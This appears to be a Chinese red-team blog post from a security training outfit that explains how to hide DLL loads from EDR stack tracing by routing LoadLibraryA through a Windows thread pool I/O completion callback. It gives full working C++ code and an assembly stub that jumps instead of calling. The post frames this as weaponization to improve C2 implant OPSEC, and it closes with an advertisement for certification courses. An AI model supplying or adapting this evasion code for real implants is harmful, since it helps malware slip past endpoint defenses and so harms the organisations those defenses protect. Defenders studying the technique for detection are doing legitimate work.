红队武器开发系列:利用 Windows 线程池 API 和 I/O 完成回调来实现代理 DLL 加载

文摘   2024-11-01 17:51   四川  

简介

本文介绍如何利用 Windows 线程池 API 和 I/O 完成回调来实现代理 DLL 加载。这种方式可以避免 EDR(端点检测与响应)监测到返回地址位于 shellcode 内存区域的情况,从而提高 OPSEC。

Brute Ratel C4的作者Chetan Nayak深入探讨过该技术,技术背景:

大多数知名的C2(如 CobaltStrike 和 Metasploit)的核心都使用反射 DLL,该 DLL 通常在 shellcode 内引导。此 shellcode 通过在当前进程中分配可执行内存部分,然后重新定位反射 DLL 的各个部分来执行它们,充当加载器。这也带来了对用户定义反射加载器的需求,因为静态反射加载器实际上很容易检测到,所以必须在每次生成植入物时更新它以避免 IOC。So,Cobalt Strike 的 UDRL 为红队人员提供了一种编写自己的反射加载器的方法,这意味着每个组织都需要拥有编写加载器的专业知识。

如上所述,我们有一个位置无关格式的stager,它最终将加载 DLL。当我们加载 shellcode 时,我们必须分配一个 RX/RWX 内存区域。更好的 OPSEC 是使用 RX 区域。尽管如此,如果我们使用标准函数调用(如 LoadLibraryA) 加载这些 DLL,则会执行一个汇编指令 CALL 来调用 LoadLibraryA。这会将调用者的返回地址放在堆栈上,并且源自内存的 RX 区域(我们的 shellcode)。有些人可能会想,那又怎样?这里的问题是什么?

问题是 EDR 可以Hook DLL 加载函数(例如 LoadLibraryA)或者,然后检查堆栈以确定调用者的返回地址,该地址将指向你的 RX shellcode 区域。它还将扫描此内存区域以查找任何恶意内容以及已知的有效负载签名,这可能会导致被抓住。即使使用脱钩技术也是不够的,一些EDR还会采用ETW和内核回调,PsSetLoadImageNotifyRoutine(Ex)允许 EDR 注册一个回调函数,该函数每次在进程中加载 DLL 时都会被调用。一旦 EDR 在触发回调后检查堆栈,它就可以获取加载 DLL 的调用者的返回地址并检查此内存区域,就像之前提到的一样。而代理 DLL 加载可以解决这些 OPSEC 问题。

https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/

But,与此同时安全厂商也在跟进这种技术,正如Chetan Nayak所说的那样:

那么我们应该发挥出巨大的聪明才智去找寻这些回调,所以本文介绍以其它回调:如I/O Completion Callbacks去实现这种代理DLL加载来提高OPSEC


武器化实现

Windows 线程池 API

Windows 线程池 API 提供了一种高级抽象,用于独立管理一组可用于执行各种异步任务或工作项的工作线程。此 API 简化了应用程序内线程资源的管理,使开发人员可以专注于应用程序逻辑,而不必担心线程管理、同步和并发控制的复杂性。该 API 是 Windows 操作系统的一部分,它支持高效执行从系统管理的池中提取的工作线程上的回调。一言以蔽之:主要用于简化异步桌面应用程序开发

从编程的角度来看,与线程池交互很简单:给线程池一个“任务”来完成,剩下的事情它就会处理。线程管理完全由线程池管理器处理,它是特定于进程的用户模式代码,旨在处理整个线程池。

与此相关的回调函数

  1. 工作项回调:当工作项由工作线程处理时,将执行这些函数。它们封装需要异步执行的任务或计算,允许应用程序从主线程卸载工作并提高响应能力或吞吐量。

  2. 计时器回调:计时器回调在计时器到期时执行。这对于定期更新、维护任务或延迟执行代码非常有用,而无需通过休眠来阻止线程。

  3. I/O 完成回调:这些函数在异步 I/O 操作完成后执行。它们允许应用程序在不阻塞的情况下启动 I/O 操作并异步处理结果,这对于在 I/O 密集型应用程序中保持高性能至关重要。

  4. 等待回调:等待回调在等待对象(例如事件或互斥锁)发出信号时执行。此机制用于异步等待事件或条件,而不会阻塞工作线程,促进线程之间的同步或对外部事件做出反应。

线程池的更多详细资料可以参考safebreach安全研究员Black Hat Europe 2023的文章:https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/

参考以上文章code如下:

#include <windows.h>#include <stdio.h>
extern "C" void CALLBACK IoCompletionCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PVOID Overlapped, ULONG IoResult, ULONG_PTR NumberOfBytesTransferred, PTP_IO Io);void StartRead(HANDLE pipe, PTP_IO tpIo, OVERLAPPED* overlapped, char* buffer);void CALLBACK ClientWorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
PVOID pLoadLibraryA;HANDLE g_WriteCompleteEvent; // 表示写操作完成的全局事件
typedef struct LOAD_CONTEXT { char* DllName; PVOID pLoadLibraryA;};
int main(){ HANDLE pipe; PTP_IO tpIo = NULL; OVERLAPPED overlapped = { 0 }; char buffer[128] = { 0 };
// Get the address of LoadLibraryA pLoadLibraryA = GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
// 准备LOAD_CONTEXT结构 LOAD_CONTEXT loadContext; loadContext.DllName = (char*)"wininet.dll"; loadContext.pLoadLibraryA = pLoadLibraryA;
// 创建一个全局事件,在写操作完成时发出信号 g_WriteCompleteEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (g_WriteCompleteEvent == NULL) { printf("Failed to create write complete event\n"); return 1; }
// Create a named pipe with FILE_FLAG_OVERLAPPED flag pipe = CreateNamedPipe( TEXT("\\\\.\\pipe\\MyPipe"), PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, // Number of instances 4096, // Out buffer size 4096, // In buffer size 0, // Timeout in milliseconds NULL); // Default security attributes
if (pipe == INVALID_HANDLE_VALUE) { printf("Failed to create named pipe\n"); CloseHandle(g_WriteCompleteEvent); return 1; }
// 为OVERLAPPED结构创建一个事件 overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (overlapped.hEvent == NULL) { printf("Failed to create event\n"); CloseHandle(pipe); CloseHandle(g_WriteCompleteEvent); return 1; }
// 将管道与线程池关联 tpIo = CreateThreadpoolIo(pipe, IoCompletionCallback, &loadContext, NULL); if (tpIo == NULL) { printf("Failed to associate pipe with thread pool\n"); CloseHandle(overlapped.hEvent); CloseHandle(pipe); CloseHandle(g_WriteCompleteEvent); return 1; }
// 为客户端代码创建线程池工作项 PTP_WORK clientWork = CreateThreadpoolWork(ClientWorkCallback, NULL, NULL); if (clientWork == NULL) { printf("Failed to create threadpool work item\n"); CloseThreadpoolIo(tpIo); CloseHandle(overlapped.hEvent); CloseHandle(pipe); CloseHandle(g_WriteCompleteEvent); return 1; }
// 将客户端工作项提交到线程池 SubmitThreadpoolWork(clientWork);
// 等待客户端工作项发出写操作完成的信号 WaitForSingleObject(g_WriteCompleteEvent, INFINITE);
//启动异步读操作 StartRead(pipe, tpIo, &overlapped, buffer); printf("Pipe buffer: %s\n", buffer);
// 等待读操作完成 WaitForSingleObject(overlapped.hEvent, INFINITE);
// Wait for client work to complete WaitForThreadpoolWorkCallbacks(clientWork, FALSE); CloseThreadpoolWork(clientWork);
// Cleanup CloseThreadpoolIo(tpIo); CloseHandle(overlapped.hEvent); CloseHandle(pipe); CloseHandle(g_WriteCompleteEvent);
printf("wininet.dll should be loaded! Input any key to exit...\n"); getchar();
return 0;}
void StartRead(HANDLE pipe, PTP_IO tpIo, OVERLAPPED* overlapped, char* buffer){ DWORD bytesRead = 0; StartThreadpoolIo(tpIo); if (!ReadFile(pipe, buffer, 128, &bytesRead, overlapped) && GetLastError() != ERROR_IO_PENDING) { printf("ReadFile failed, error %lu\n", GetLastError()); CancelThreadpoolIo(tpIo); }}
void CALLBACK ClientWorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work){ // Open the named pipe HANDLE pipe = CreateFile( TEXT("\\\\.\\pipe\\MyPipe"), GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (pipe == INVALID_HANDLE_VALUE) { printf("Client failed to connect to pipe\n"); return; }
const char message[] = "Hello from the pipe!"; DWORD bytesWritten; if (!WriteFile(pipe, message, sizeof(message), &bytesWritten, NULL)) { printf("Client WriteFile failed, error: %lu\n", GetLastError()); } else { printf("Client wrote to pipe\n"); }
// 写操作完成的信号 SetEvent(g_WriteCompleteEvent);
CloseHandle(pipe);}

关键汇编代码部分,通过jmp避免CALL指令

.CODE
; LOAD_CONTEXT结构作为第二个参数传递给回调。根据64位Windows调用约定,这意味着该结构将包含在rdx寄存器中。;typedef struct LOAD_CONTEXT {; char* DllName;; PVOID pLoadLibraryA;;};
IoCompletionCallback PROC mov rcx, [rdx] ; DllName into RCX mov rax, [rdx + 8]
; RCX包含dll字符串的地址 ; RAX包含跳转到的地址(pLoadLibraryA)
xor rdx, rdx jmp raxIoCompletionCallback ENDP
END

常规下加载DLL返回函数地址放在调用堆栈上,一眼丁真

通过回调函数“代理”了加载,获得了一个干净的调用堆栈,没有任何内容指向我们的 shellcode 内存区域


知识星球

信 安 考 证




需要考以下各类安全证书的可以联系我,价格优惠、组团更便宜,还送【老鑫安全识星球1年!

CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...


老鑫安全
真正的大师永远都怀着一颗学徒的心,专注于渗透测试,红蓝对抗,漏洞挖掘等安全技术培训 B站:老鑫安全 知识星球:老鑫安全 官网论坛:https://www.laoxinsec.com